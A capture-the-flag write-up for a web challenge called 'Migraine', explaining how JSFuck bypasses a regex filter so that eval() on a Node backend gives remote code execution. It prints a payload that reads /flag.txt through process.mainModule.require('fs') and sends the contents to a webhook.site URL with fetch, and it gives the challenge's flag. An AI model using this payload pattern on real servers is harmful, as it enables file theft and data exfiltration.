Migraine
Category: Web
Description
Author: RougeGuardian, Mr. Blade
This challenge gave me a migraine to develop, hopefully it doesn't do the same to you.
NOTE: Changes will no longer be persistent between connections.
Attachments: migraine.zip
Write-up
- Clicking "Run" triggers the
submitCode()function, sending a POST request to an endpoint with user code in thesrcbody parameter. - The backend validates the code using a regex and evaluates it if the checks pass.
- The challenge involves bypassing the regex and performing Remote Code Execution (RCE) via
eval(). JSFuck, an esoteric JavaScript subset, can bypass the regex due to its unique character requirements.- The
eval()call is direct and uses the local scope, hindering direct access torequire()and preventing simple module imports likefs. - However,
eval()is a function property of the global object and can accessprocess, which has references torequire()throughmainModule. - Accessing
require()viaeval()andprocess.mainModuleenables the use of thefsmodule to read the flag file. - A payload can be constructed to read the flag and send it via a
fetchrequest (also conveniently found in the global object) to a designated webhook. - Example payload:
fetch('https://webhook.site/35e3671b-6a1c-45c7-be30-0b9bc8d2ab6c/?flag=' + process.mainModule.require('fs').readFileSync('/flag.txt', 'utf8'));.
Flag: gigem{JS_1s_5up3r_w4cky_4nd_w3ird}